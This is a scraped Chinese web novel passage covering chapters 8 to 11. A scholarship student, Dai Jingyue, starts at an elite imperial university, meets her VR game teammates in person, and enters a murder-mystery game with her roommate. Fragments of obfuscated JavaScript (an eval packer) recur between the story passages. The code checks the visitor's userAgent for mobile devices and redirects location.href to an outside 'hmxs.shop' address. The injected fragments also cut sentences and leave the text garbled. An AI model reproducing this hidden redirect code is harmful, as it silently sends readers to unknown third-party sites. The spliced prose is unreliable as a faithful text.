l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662249|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎顿了顿:“怎么了?” “我遇见的就是群英堂的人,还挺有意思。”脑中再次浮现性格各异的三个人,“人有意思,ID也有意思。” 另一端,在听见群英堂三个词的刹那就紧急联络了自家组员的路无隅:“他们没怎么你吧?” 如果没记错,他们组织好像风评不算特别好,尤其是在游戏里相当抱团。 戴荆月仰头躺在床上,懒洋洋开口:“能怎么样,邀请我加入算不算?” y是她认识多年的网友。她不算是一个情绪外露的人,但和对方认识太久,两人除了现实身份几乎什么都聊了,久而久之也就彻底放飞自我。 正准备喝水的路无隅倏地停住,声音温醇:“……你答应了?” “没有。” 当地一声。 水杯被放在桌上,他忽然不想喝水了。 “你知道他们那个组织者吗,我觉得有点怪。” “他怎么了?” 戴荆月没听出对面的声音带着一丝紧张,自顾自道:“自己的ID简约大方,结果组织名和组员ID都一股黑/帮味。” “原先我还以为那人会叫什么龙头帮主,不过按着他们的说法,这个群英堂堂主估计也是那种彪形大汉。” 身形颀长、体态端正的路无隅面无表情在心里默默记仇,决心下一次组织例会一定要整顿风纪,至少不能在外破坏堂主形象。 两人又随便聊了几句后才挂断电话。挂完,戴荆月才想起来对方好像想加自己游戏ID。 她操纵意念发送消息: 【哦对,要加好友吗?】 路无隅抿着唇输入一行字: 【等过两天吧,现在不方便登游戏】 戴荆月没多想,转身洗漱去了。远在中心城区的路无隅则联络自己组员,开启友好问话: “谁今天进游戏了?” 白纸扇、红棍和草鞋冒泡。 “你们遇见其他玩家了?” 草鞋懊恼叹息:“老大,你也看见论坛在讨论?我们也没想到邀请她的时候被人发现了呀。” 【圣光回响休闲区-论坛】 【报告!今天lz路过游戏大厅,遇见群英堂的人主动对外发起邀请!】 【1楼:他们居然会主动邀请人?之前我死皮赖脸去申请都没通过】 【2楼:看清那人是谁了吗,女的男的?】 【3楼:是女生,我也看见了!红棍那头红发太有标志性了】 【4楼:可能那人确实做了什么亮眼的事情吧,技不如人,自愧不如】 【5楼:也可能是什么猛兽猛禽属性,这种人才应该各大组织都想抢】 【6楼:群英堂也没有想象中那么厉害吧,不过就是一个小组织罢了】 【7楼:楼上你说实话,你是不是被群英堂坑过】 【8楼:白纸扇笑面坑人,红棍不服来干,草鞋长袖善舞,更别提还有个排行第一的堂主】 【9楼:我反正持保留态度,这人要是真够厉害,那就进排行榜看看】 …… 路无隅迅速扫了一眼论坛,眸色沉静,语气不容置疑:“你们和我说说,这场游戏里都发生了什么。” 对波澜全然未知的戴荆月洗了个澡,简单收拾好自己即将出门的行李。敞开的背包里,几件换洗的衣服、几瓶药,东西少得可怜。 所有东西的最上方,是一张精致的通知书,上面清清楚楚印着几行字: 【戴荆月同学: 经审核,批准你入帝国第一大学人文学院学习。 帝国第一大学欢迎你的到来!】 8. 开学快乐 巨大的落地窗澄明透亮,掠过的模糊景色如一团一团浓稠的色块,余下大片的墨绿、苍黄和蔚蓝。戴荆月坐在靠窗的位置,目光淡淡描摹过窗外的景致。 买的车票是城际浮空列车里最便宜的座位,狭小的空间坐得人浑身刺挠。尤其是旁边的乘客,浑身发酵的味道像是经年没洗过澡。 戴荆月的整张脸都藏在厚重的口罩下,却还是没能抵挡这直冲天灵盖、将人的大脑搅得一片混沌的味道。 恍惚过后,她忽然后悔自己之前的志愿填报。应该报考科技学院的,就连研究方向都即刻想好了——毒气弹。 今天是帝国一大的报到时间。 从日暮城到中心城有很多种交通方式,天上飞的地上跑的海里游的,戴荆月选择了最便宜的一种。 家里人给的钱少得可怜,即便有奖学金,在物价极高、通货体系疑似不同的中心城也存活不了多久。这也是她参与圣光回响的原因,赚点生活费。 游戏设备不难获取,高中时期身边同学就几乎人手一个,除了戴荆月。家里人没主动给她,她更不会开口去要。 直到今年联考成为全国状元,发展倒数的日暮城可算扬眉吐气一番。于是天天逮着她采访,送了她不少东西,圣光回响的设备就是其中之一。 有钱不要是傻瓜,聪明的帝国状元戴荆月当然是选择全都笑纳。 迷迷糊糊打盹的间隙,列车终于到站,饱经沧桑的戴荆月吸了吸鼻子,试图唤醒自己麻木的嗅觉。 她单肩挎着包,顺着人流往前走。甫一出车门,眼睛就被金碧辉煌的穹顶晃了几道。身侧来往的旅客大多从容不迫、春风满面,脱口而出的笑声都自带雍容华贵的老钱风。 啧,有钱人倒真不少。她的胸腔里隐约跃动着一颗仇富的心。 “您好,麻烦摘一下口罩。” 配合地扯下深色口罩,面前的显示屏瞬时照出一张毫无波澜的脸。戴荆月站上安检机器,“滴”地一声,背包口袋里的东西登时被探照了个精光。 “好的,谢谢配合。”AI声音轻快,整个流程顺利得不超过三秒钟。 出了车站,她抬腿朝公共上车点走去,耳机里的导航还在碎碎念叨: “距离您的目的地帝国第一大学还有10.8公里,以下是为您规划的公共交通路线……” 跟着指示左转右转,戴荆月可算坐上了前往学校的飞艇。椭圆形的飞艇缓缓升空,驶入航道,穿行于密集的高楼大厦间,掠过流云渺渺。 日暮城没有公共飞艇,大多还是陆地工具,偶有人驾着私家飞艇掠过天际都将接受人们的注目礼。 这是她第一次坐飞艇,可惜却被挤在人群中当馅饼,完全看不见艇外的景象。 收回无用的目光,戴荆月在脑中简单梳理着这两天的事项。今天报到、办理入住,明天就是开学典礼,节奏紧锣密鼓。 没记错的话,自己似乎还要作为新生代表在台上演讲。 不管哪个时代,奋斗者凭借个人努力打破阶层壁垒的故事总是脍炙人口。即便是在阶级渐趋固化的今天,那些上位者依旧爱拿这些事迹鞭策后辈,再对故事主人施舍几分关注。 戴荆月显然是一个活生生的话题,学校老师当时传达的原话是,希望她能够多分享自己是如何克服末等城区的困难,力压其余区的学霸,勇夺帝国第一的。 看在高额奖学金的份上,她愿意编一个好故事。 接下来的赶路时间,挤在角落里的女生专心致志创造着励志演讲稿,顺便给网友y实时跟进消息: 【我来中心城了】 y就住在中心城,很久前二人便聊过住址。 对方很快回复: 【来玩?我可以当你的地陪】 戴荆月嘴角噙着笑,慢条斯理输入: 【不必,我来上学】 车站距离学校有十多个站点,飞艇行行停停,晃荡着舱内一群东倒西歪的人,捱到即将晕艇想吐时,她终于听见象征解放的声音: “前方到站,帝国一大,下车的乘客请注意站台间的缝隙,谨防夹伤。” 捏了捏鼻梁,戴荆月大跨步走出门,莫名幻觉身后有些痒,像是被不少目光盯着。 实际上,这条线路的飞艇别有说法。 早年间帝国高校的选址大多挨得比较近,位于中心城东区。而这条线恰好将帝国一大、帝国二大、帝国理工等学校全都路过一遍。 巧合的是,途径学校的顺序恰好是按照排名由低到高,帝国一大理所当然排在最后一个。因此中心城流传这样一句话:坐上这趟艇,谁先下谁输。 浑然不知自己“赢”了的戴荆月此时正站在学校门口,微仰着头凝望遒劲的六个大字:帝国第一大学。 身侧的学生谈笑风生,举手投足间流露着名校出身的自信与豁达。通过虹膜检测后,她短促呼出一口气,踏进了这所百年学府的大门。 帝国一大新图书馆前。 一个个圆形机器球悬在空中,投射着五光十色的光屏,上面绘着各个学院的特色迎新海报,青春气息扑面而来。 商学院金灿灿的浮空顶棚下,一个女生吊儿郎当地倚在桌子旁,双手抱臂:“哟,在给你们学院打工?” 阳光下,高高束起的红发夺目耀眼。 “红棍,你要是闲着没事干可以去玩游戏。”桌子前的男生推了推眼镜,商学院的院衫衣角随着动作轻晃。 红发女生伸了个懒腰,拍了拍板正制服上扯出的皱纹: “说了多少次,出了游戏就别喊我ID,你听听学校里谁会这么喊我。” 男生一边浏览新生名单,一边抽空敷衍:“全校都这么喊你,姜茶同学。” “诶,白纸……呸,白知意!你快看那个新生,我怎么感觉有点眼熟呢?” 姜茶没收力,一掌拍上白知意清瘦的身子,后者的脸险些砸到桌面。 素来文质彬彬的白知意皱着眉,正想说些什么,目光却在扫到熟悉的身影后倏地顿住。 来人穿着朴素运动装,口罩宽大,遮住大半张脸,只露出一双黑曜石般的眼。不同于上次见面时的半扎丸子头,今天对方绑着低马尾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662250|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌发丝绸般垂在右肩上。 尽管看不见脸,但姜茶和白知意还是瞬间确认了女生的身份。 ——披荆戴月! 隔着几米远时,戴荆月就注意到商学院的棚子下有一女一男在打量自己的方向。但是周围有不少人,她倒也没有自作多情倒对方是在看自己,直到她走近这片区域。 “是你们?”对上两张熟悉的面孔,她的语气里带着藏不住的惊讶。 游戏队友爆改学姐学哥,得是多强烈的缘分才能网络现实一线牵。 姜茶主动伸出手:“没想到咱们这么有缘,我叫姜茶,军事学院大二在读。” 碰上对方微凉的掌心,戴荆月礼尚往来:“戴荆月,政务学院大一新生。” 一旁的白知意同样做了简单自我介绍,随即嘴角勾起一抹笑:“还以为会是直系学妹呢,可惜差了点。” 戴荆月睫毛颤了颤,没有接话,只是暗自腹诽:她可没能力读商学院。 帝国一大虽然面向联考招生,但这仅是一部分生源,且开放报考的学院有限。更多学子是通过举荐和面试入读学校,尤其是商学院和军事学院,几乎自成一方天地。 若说商学院中非富即贵,聚集着来自各方财团的继承者,那军事学院里的则无不是猛兽猛禽般的角色,或是背靠军政部门的N代们。 而她所就读的政务学院,内部同样泾渭分明。一部分是高官子弟,还有一部分就是她这种普通人,想着毕业包分配。 姜茶扬眉,出声邀请:“中午一起吃饭吗?顺便带你转转学校。” “不了。”戴荆月摇头,“我还有事情要处理。” 二人并未强求,只说有事随时可以找他们。她表面乖巧应下,心里却早已决定拉开距离。 刚刚她偷偷查过,这两人一个是海青城重要财团的公子,另一个是陆军上将的独生女。无论是哪一个她都招惹不起。 戴荆月的想法其实很简单。 穷则独善其身,达亦独善其身。 安安稳稳混到毕业证书,毕业后分配进入政府工作,不卷入任何纷争,哪怕一辈子在中心城做个清闲的文职也未尝不可。 同这些天之骄子,不过只是萍水相逢罢了。 在政务学院签名报到后,她没再过多停留,径直前往宿舍楼办理入住。在中心城这种寸土寸金的地方,帝国一大的住宿环境和费用都堪称良心。 住的是二人寝,却只是象征性每年收个千八百元,戴荆月更是享受到住宿费减免的优惠政策。 宿舍门前,一颗眼球似的仪器缓缓转动,从头到脚仔细扫描着戴荆月的生物信息。戴荆月总有种自己的心理活动被洞穿的不适感。 一分钟后。 滴! 大门自动打开。 她推门而入,却发现另一个舍友早已经到了。 金色短发利落拢在而后,脸颊缀着点点雀斑,皮肤白里透红的女生撩起眼皮望了门口一眼,碧蓝色的眼睛瞬间亮起,对着面前的终端愉快道: “噢宝贝,我可爱的舍友来了,先挂咯!” 9. 密林旧事(1) 戴荆月抬起头,不经意间撞上了右侧床边那道饶有兴致的目光。 “亲爱的,你的发色和瞳色真美。”金发碧眼的女生率先开口,语调热情洋溢,“你是从哪里来的?” 一向不擅长应付这类社交场合的戴荆月,回答得一板一眼:“谢谢。你也很特别。我来自日暮城。” “咦,你手上拿着的也是政务学院的礼包,看来咱俩是同学!”女生看起来很惊喜。 但戴荆月言简意赅:“真巧。” 说完,她便径直走到桌边放下包,开始整理自己的物品,没有继续攀谈的意思。 一般人这时候该见好就收,奈何舍友并非一般人。 女生毫不掩饰自己直勾勾的视线,半晌突然清脆地一拍脑门:“哎呀,忘记自我介绍啦。” “我是奥若拉·希尔,中心城本地人。亲爱的,平时要是有什么困难我都可以尽力帮你噢!” 戴荆月微微颔首,在奥若拉俏皮活泼的语气里有些出神。 或许只有幸福同蜜糖般的家庭才会教育出如许明媚健全的孩子。 “你叫什么名字呀亲爱的?”奥若拉的声音将她从思绪中唤回。 她稍一停顿:“戴荆月。” 奥若拉登时将嘴夸张咧成“O”形,碧蓝色的眼睛闪烁:“天呐,这个名字也太好听了!一听就很有意境,和你特别般配。” 戴荆月努力牵起一丝和善的微笑,内心只盼着这位爱喊人“亲爱的”的室友能尽快结束这场寒暄。 “你是不是要收拾东西啦?那我先不打扰你咯。” 像是听见了她内心的呼唤,奥若拉眉眼弯弯,又轻快地说道:“要是不喜欢现在的称呼,我也可以换一个哦。” “没事,随你心意。” 不对劲。 戴荆月手上动作没停,轻抿起唇。她确信自己刚刚脸上没有任何表情,为什么奥若拉会突然提到称呼的事情,就好像知道自己在想什么一样…… 等等,万一真能读到呢? 她的视线不着痕迹掠过奥若拉,对方回以一个盈盈笑脸,可戴荆月却在那一瞬本能地警觉。 奥若拉·希尔,绝非表面看上去那般天真无害。 自己的位置在进门左手边,家具应有尽有。假期时校方已经用机器人统一清扫过,完全可以拎包即入住。 戴荆月没打算参加什么迎新活动,因此空闲下来不少时间。她原想在宿舍玩一局游戏,但眼下奥若拉就在身旁,总觉得有种被窥视的不自在感。 正想着另寻佳处,甜美的声音在身侧响起:“亲爱的,要一起玩游戏吗?圣光回响,你应该有账号。” 看见对方眼中一闪而过的惊讶,奥若拉笑意更盛,右半边脸露出一个梨涡:“我的技术还可以,应该不会给你拖后腿。” 如果说不久前还是怀疑,现在戴荆月已经能够确认七八分。奥若拉大概真的拥有读心一类的能力,甚至很可能是异能。 她下意识捏了捏指节,说不出作何感想。 一方面为同龄人觉醒异能而自惭形秽,另一方面又难免好奇,究竟是什么动物会有这种本领。 “一起吧。” 犹豫片刻,说不清道不明的感觉终究胜过了独自登录的本意,她选择答应。 “但我是新手,参加过的游戏不多。” 早在听到肯定的回复后,奥若拉就变戏法似的掏出设备,神采飞扬:“没事,我也没玩过几次,游戏大厅不见不散哟。” 戴荆月“嗯”得轻飘飘,弱得连自己都没听清。 熟练地与服务器建立联系,流光一闪,再度置身于鎏金溢彩的游戏大厅。 周围的玩家来往穿梭,或三五成群,或孑然一人,空气里弥漫着一股生命勃发的氛围。 自暴自弃者不会登入游戏,来到圣光回响的人,往往跃动着一颗向上的心。 她很快就在巨大的金云旁找到了那头显眼的金发。奥若拉站在那里望着半空,中等个子,比她稍矮一些。远远望去,灿烂的金发几乎要与璀璨的云彩融为一体。 “亲爱的,我们先加个好友?”奥若拉指尖在空中一滑,调出游戏操作屏。 几乎是下一秒,戴荆月的操作屏角落就冒出一个小红点。 【玩家曙光女神请求添加你为好友】 她手指轻点,快速勾选通过。 【叮咚!你们已经是游戏好友啦,携手开启第一场游戏吧!】 戴荆月掀起眼皮:“曙光女神?” 奥若拉眸中含笑:“披荆戴月?” 不知是谁先笑出了声。当戴荆月反应过来时,自己竟已和奥若拉并肩笑了好一会儿。 她抬手揉了揉自己的脸颊,迅速收敛了笑意。 这种感觉真奇怪。明明不久前还在戒备,互换游戏ID这样简单的举动却仿佛瞬间弥合了两人之间无形的罅隙。 像她在以前的影像资料里见到过的从瓷砖缝里渗出的亮晶晶的胶,将疏离的砖片粘合得紧密。 “进游戏?”戴荆月尾音上扬。 “走!”奥若拉自来熟地挽上她的胳膊。 戴荆月身体几不可察地僵了一瞬,最终还是没推开对方。 两人一同走向准备区,并肩踏入了那片由无数星体汇聚而成的绚烂星河。 理论上准备区对每位玩家而言都是独立的平行空间,以避免互相干扰。即便同时踏入,通常也只会进入自己的私人选择空间。除非玩家们选择结伴进入。 戴荆月被花花绿绿的星体晃得眼睛疼,决定让渡出选择权:“奥若拉,你选吧。” 女生毫不客气,捞来一颗笼着烟雾的竹青色星体:“就这个吧,感觉它最好看!” 来自不同主人的两只手齐齐碰上那颗青色小行星。 刹那间清风拂面,二人猝不及防跌入一片黑暗。 与此同时,另一个选择空间。 路无隅静立于流转的群星之中,对周围视若无睹,反而掌中攥着一张格格不入的薄纸。 方才打开游戏,他就发现那个被自己暗中视监许久的账号【披荆戴月】居然显示为在线。 指尖悬于邀请选项之上还未落下,对方的状态却已猝然一变,从【在线】跳成了【游戏中】。 内心一动,他不再有丝毫迟疑,转身匆匆踏入准备区。修长的手指快速划过虚空,不假思索从玩家背包最隐蔽的角落调出那份珍藏已久的特殊游戏奖励。 下一秒,一张看起来相当脆弱的纸条凭空而降,落入他的手中。 路无隅的食指和中指紧紧夹着这张写着“追踪券”三个大字的纸笺,清晰开口: “追踪玩家【披荆戴月】,进入同一场游戏。” 话音落下,纸条无火自燃,幽红的火焰瞬间将其吞噬,烧作一小撮灰烬。 微风掠过,吹散余烬。男生的身影也随之在风中消失不见。 选择空间内唯留漫天星辰,复归一片深邃的安宁。 …… 【游戏正在加载中……加载完成!】 【游戏名称:密林旧事】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662251|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【亲爱的玩家披荆戴月,祝您游戏愉快!】 戴荆月在人声鼎沸中猛然惊醒。 尚未清醒,刺鼻的酒气先一步将她淹没,熏得人太阳穴突突直跳。酒气让人烦躁,她咬着下唇,想揉一揉自己的两额。谁知刚抬起手,肩膀便莫名被人重重一拍。 “月姐,来碗酒!” 粗糙的陶碗“咚”地一声被怼到面前,残存的几滴酒液在碗里晃荡。戴荆月重重咳嗽几声,白花花的视野这才勉强聚焦凝神。 自己的面前摆着一张古旧木案,案上一只碗,碗前站着个模糊的人影,看不真切。 棚子外边冷调的日光似有若无打在身上,像一层厚重的茧将她密不透风地缠绕包裹、越裹越紧。 下一刻,她机械性地端起碗,从一旁的酒缸里舀起一勺清澈的酒液推到前面的桌沿。 湿漉漉的液体蹭上指尖,冰冰凉凉。直到对方心满意足端着酒离开,她才恍然意识到一个问题。 她为什么要给别人打酒? 以及……她是谁? 她是谁?这是哪?她要做什么? 一时间,成串的疑惑涌上心头,可她一个也回答不了。拼尽全力想要思考的大脑像是被浆糊牢牢胶住,微动一点念头便撕裂得疼,以至于不久前才恢复清明的双眼又濒临失神。 面前的景物再度失焦,幻化成一圈圈光晕。唯有萦绕不去的酒味愈发汹涌。 酒…… 是酒…… 想要酒…… 冥冥之中,一个声音在脑海深处响起。 她下意识顺着声音动了身子,僵硬从凳子上起身,恍恍惚惚走到了巨大的酒缸前。 进去吧…… 这里会有你想要的…… 一阵天旋地转,戴荆月栽进了酒缸里。 冰冷的液体瞬间从四面八方挤压而来,封锁口鼻耳目,强硬掠过她的呼吸与声音。 窒息的感觉汹涌袭来,诡异的熟悉感却悄然钻入她的思绪。 四肢像被无形的锁链缚住,她被迫放任自己的身体向着无尽的深处沉沦,大脑却像是被注入了什么能量,隐约恢复了运转。 思考就像玩毛线球,一旦揪住一个探出的小角,剩下的便全都会顺理成章流出来。 她想起来自己为什么会觉得熟悉了。 那是在上一场游戏,选择失败的她被迫接受来自公路小考的惩罚。当时的她,同样面临淹没窒息的困境! 所有空白的记忆瞬间回笼。 她叫戴荆月,游戏ID【披荆戴月】,正在参加一场名为【密林旧事】的游戏。 眼前经历的一切,不过都是游戏考核内容。 辛辣的酒液里,戴荆月强忍着眼球被灼烧的刺痛睁开双眼。泡得疲软的双脚凝聚浑身力量向下踩水,借着那股反冲力,她纵身向上一跃,生生跃出酒缸。 直到踏上实地,她才后知后觉酒缸并不深。先前堕入无边深海的绝望感,想来也是游戏的手笔。 戴荆月沉默地抹了把脸,随意擦了擦酒渍。冰凉的布料紧贴皮肤,视线快速掠过四周,这是她第一次正式审视周遭的环境。 一间不大的酒肆,粗木梁柱撑着宽阔的厅堂,简陋的桌案边落座的大多是灰扑扑衣衫的普通百姓。 【叮咚!恭喜触发主线身份!】 【玩家披荆戴月,本场游戏中你的身份是爽朗的酒铺掌柜】 【请玩家时刻牢记身份,行为举止需符合人物设定,偏离超过三次视作本场游戏失败!】 10. 密林旧事(2) 城郊,斜插在木门外的旗帜随风轻荡,晃晃悠悠透出“月下酒铺”四个大字。循着婀娜的旗影踏入木门,迎面便是几张桌案,内里乡音嘈杂喧嚷,空中酒气氤氲飘香。 “月姐,俺又来沽酒嘞!要月下酿!” 门边,一个浑身泥点子的大汉笑嘻嘻往里走,飘忽的眼神不住落到前方的掌柜身上。 月下酒铺是一家城郊小铺,掌柜的是个泼辣爽朗的女子。据说有一年挨流寇,她一人抵挡数十匪徒,刀光剑影、血色纷飞。 有人传言,掌柜的从前是个江湖侠客,隐姓埋名在这儿开酒铺。 久而久之,酒铺愈发红火,成了方圆几里酒客们的首选,来往客人也都尊称掌柜为“月姐”。 放在平时,大大咧咧的掌柜肯定会乐着和他们调侃吹水,但此时此刻,对方只是沉默接过碗,“哗啦”一声给汉子舀得满满当当,再无声收起碎钱。 唯独那张白净的脸上,扬着一个干巴巴的笑。 这是戴荆月在这儿见到的第11个客人,也是她被困在这里的不知多少分钟。 先前接收完身份后,戴荆月的第一反应就是离开酒铺,到外边寻找线索。 按照玩游戏的思路,她在初始地图获得了自己的身份,下一步就应该扩大地图,探索更多埋藏在背后的信息。 可当她走到门边时,却无论如何都跨不过那道门槛,只能眼巴巴张望着外边来来往往的行人。 很明显,游戏不让她出去。 要么是这里还有线索没探索完,要么是设定的强制扣留环节。 无奈之下,戴荆月只能回到原位,守着大酒缸和酒坛子。来了多少客人,她就舀了多少酒,甚至必须笑脸相迎。 原因无他,她的身份是爽朗的酒铺掌柜。虽然不确定游戏如何定义“爽朗”,但肯定不会是板着张脸。 时间长了,也大概摸清一些门道。大酒缸里盛着的是本店招牌“月下酿”,她悄悄尝过一些,酒劲儿大,入口却并不刺激,反而甘甜可口。 旁边贴着大红纸五花八门的坛子则是酿的一些特色酒,数量不多,倒也萝卜青菜各有所爱。 目光慢条斯理扫过“桂花饮”“梨花醉”等一众坛子,戴荆月回忆着进入游戏这么久以来为数不多听到的两次游戏提示音。 第一次是初始提示,告知玩家载入的是哪场游戏。 第二次是身份解锁,给了她一个需要时时维系、稍有不慎就会败北的身份。 而后便戛然而止。 没有游戏主线,没有游戏支线,就连催促她迅速开启主线的倒计时都没有,不知道同时进入游戏的奥若拉现在境况如何…… 干想想不出名堂,她索性一边揉捏手指,一边不着痕迹偷听身旁的女男聊天。没成想,这一听还真听出点名堂。 “哎,你听说了没?山脚下那王阿婆今天上山砍柴的时候发现一具尸体!” “真的假的?死人了?谁呀?” “我也不晓得,总之阿婆吓得当即就跑下山找衙门了。” “啧啧……真是人生无常呐!” “可不嘛!据说那尸体酒气熏天,不会是喝酒醉死在山上吧?” “这话我可不信,你问问谁见过喝酒醉死的,街上那么多醉鬼,难不成偏偏就死他?” 两个人越聊越起劲,毫无心理负担偷听的戴荆月神色却越来越凝重。 她酒量不差,只是不爱喝。但在酒缸里浸过后也渐渐脱敏,习惯了充盈鼻尖的酒气。清醒的大脑迅速从这段对话中提取出重要信息点。 喝酒,醉死。 这两个关键词组合在一起,总给人一种相当不妙的感觉,她迅速在心里拉响紧急防备警报。 一旁,两位谈天说地的客人已经从尸体聊到院试放榜,她望着铺子外边,盘算着如果能获得自由,就先去山上看看究竟。 游戏不会平白无故让npc来一段对话,很可能这具尸体就与主线任务息息相关。 呼啦啦! 门外忽地响起一阵凌乱仓促的脚步声。 戴荆月抬起眼,看见的便是穿戴齐整闯入铺内的捕快,为首的捕头冷漠望着她:“你,随我们走一趟。” 戴荆月:? 没等她弄明白,就被一群持刀佩剑的人押带着往外走,而那扇无论如何都走不出的门,此时轻飘飘就被迈了过去。 戴荆月:…… 原来是在这里等着她。 身后有不少人看热闹,先前畅聊尸体的一女一男看得最为起劲,为了观看体验感,特意挤到人群最前。 这就是被众人关注的感觉吗,戴荆月面无表情思忖,好像也不怎么样。 穿过一条条长街小巷,人烟愈发稀少,包裹人体的空气似乎也冷了一个度,寒意直往空荡荡的袖管里灌。 小心翼翼走进黑黢黢的洞口,她所担心的诡怪贴脸并未发生,而是被塞进一间泛着霉味的隐蔽牢房,角落的几盏油灯扑闪着微弱的光。 借着这点幽暗的黄光,戴荆月看见了自己的“狱友们”。 三女两男,除了笑盈盈冲她眨眼示意的奥若拉,剩下的都是生面孔。 等戴荆月全然踏进牢房,铁门哐当落锁,捕头握着钥匙,女声低哑:“尔等皆为嫌犯,若三日内未能揪出杀了黄南的真凶,自会放了你们。” 下一刻,游戏提示音姗姗响起: 【叮咚!恭喜触发游戏主线!】 【主线任务:在三日内找出伤害黄南的凶手】 【温馨提示:凶手就在你们之中,请凶手务必小心,不要被发现哦】 黄南,就是戴荆月在酒铺里听见的那具尸体的名字,他果然和这场主线有关。 捕头不知何时离开,作为最后一个进来的嫌疑人,戴荆月勉强寻了个空处,背靠砖墙,随手弹开一只腿上的爬虫。 视线暗暗扫过其余无人,她微不可察地扬眉,敏锐觉察出逼仄空间里瞬间升腾起的防备。 “凶手就在我们之中……你们有什么思绪吗?” 角落里的寸头男打破沉默,“喂,我说你们倒是吱声啊!总不能一直干坐着吧。” 靠近门口,一个穿健身背心的女人轻嗤:“线索?你是期待凶手主动承认自己杀人了?” “反应这么大,莫非你就是凶手,心虚了?”寸头男对上女人的目光,丝毫不怵。 “急着带节奏的人说不定才是真的想掩盖什么,欲盖弥彰的道理都不懂?”她冷冷回击。 牢房里气氛骤然紧绷,犹如燃起引信的弹/药。 眼见着二人一触即爆,奥若拉甜美的声音适时响起:“虽然我更喜欢这个说话好听的姐姐,但我也觉得大家要一起交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662252|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流交流。” “凶手只有一个,玩家可是有六人呢。”奥若拉笑吟吟出声,四两拨千斤带过了二人争执,“我们先简单交流一下获得的身份,如何?” 这句话算是她主动流露的诚意。尽管大家各自都经历了破解困局到获得身份这一环,但谁也不确定别人是否同样依照这套逻辑。于是奥若拉选择来做这个打破僵局的人。 “我的身份是王阿婆,住在山脚下的一个老寡妇。” 闻言,戴荆月的心猛然一跳。 酒铺里粗犷的嗓门在熟悉的字眼里再次萦绕耳畔: “哎,你听说了没?山脚下那王阿婆今天上山砍柴的时候发现一具尸体!” 其余四人看起来都很淡定,仿佛并未因这个身份产生什么情绪波动。她微眯起眼,外在看起来俨然也是一位单纯的听众。 下一个开口的是寸头男,他呼噜一把毛绒绒的头顶:“我是山上寺庙的住持,一穿进游戏里就在寺庙,险些被巨型香火烧死。你们是不知道那个火烧得有多旺……” 他叽里咕噜讲了一串,把自己遇见什么、怎么觉醒身份的过程和盘托出,并不想听过多废话的众人无奈之下也只得接受。 不知是有意还是无意,寸头男的讲述终止在觉醒身份的提示音,这之后在寺庙经历的事情都只字未提。 奥若拉不知何时挤到自己身份,她压低嗓音轻笑:“亲爱的,我还以为他是个傻的呢,倒是没有我想象中笨。” 气音落在耳廓,激起细密的痒意,戴荆月没忍住翘起唇角。 “现在到我了?”健身背心女人撩了撩头发,“我拿到的身份,说得好听是侠客,说得难听是无业游民,江湖代号是三三。” 钦羡地看向女人臂膀结实的肌肉,戴荆月在心中默默认可了这个身份分配。 接下来轮到的是戴荆月,她言简意赅: “我是酒铺掌柜,人称月姐,当垆卖酒的。” 众人没什么反应,只有奥若拉小声嘀咕:“难怪有酒气。” 再下一个玩家是位看起来比她还年轻的女生,约摸只有高中年纪:“我是张小妹,逃灾来了这儿,平时就靠吃救济粮生存。” 她同样阐述自己的破局经历。一进游戏,女生就在乡道上再次经历了逃灾,被身后饿得眼睛冒绿光、想把她拆吃入腹的灾民们追着狂奔了好几里路。 最后开口的是一个看起来年岁相仿的男生,从戴荆月的角度望过去,只能看见对方清晰的下颌线和挺直的鼻梁轮廓。 他的声音纯净:“我是赶考的书生,可惜落榜了,目前暂住在这附近。” 很简单的一句话,戴荆月的眼皮却无端跳了跳。这个声音总让她觉得有些熟悉,似乎不久前才听过。 她几乎是下意识想到自己那位最熟悉的陌生人网友y。 不会这么巧吧?没有提前约定,没有互相透露,准备区那么多场游戏,偏偏就在这场游戏里遇见了? 不远处的男生很快捕捉到戴荆月落在他身上的视线。他朝她点头示意,唇边掠过一抹礼貌的笑,随即便自然地挪开目光。 定定注视他几秒后,戴荆月也缓缓收回视线。大概是自己多心了,依照她和网友y的熟络程度,对方不可能听不出她的声音。 男生看她的神情完全陌生,想来只是声音恰好近似的两个人罢了。 11. 密林旧事(3) 交换过身份,牢房再次陷入短暂沉寂。 知道了彼此的身份,然后呢?这和死者黄南又有什么关系? 怀揣此想法的不只有戴荆月,剧情里逃难而来的“张小妹”更是直接问出了口: “光交换身份不够吧,最重要的还是每个人和黄南的社会关系。” 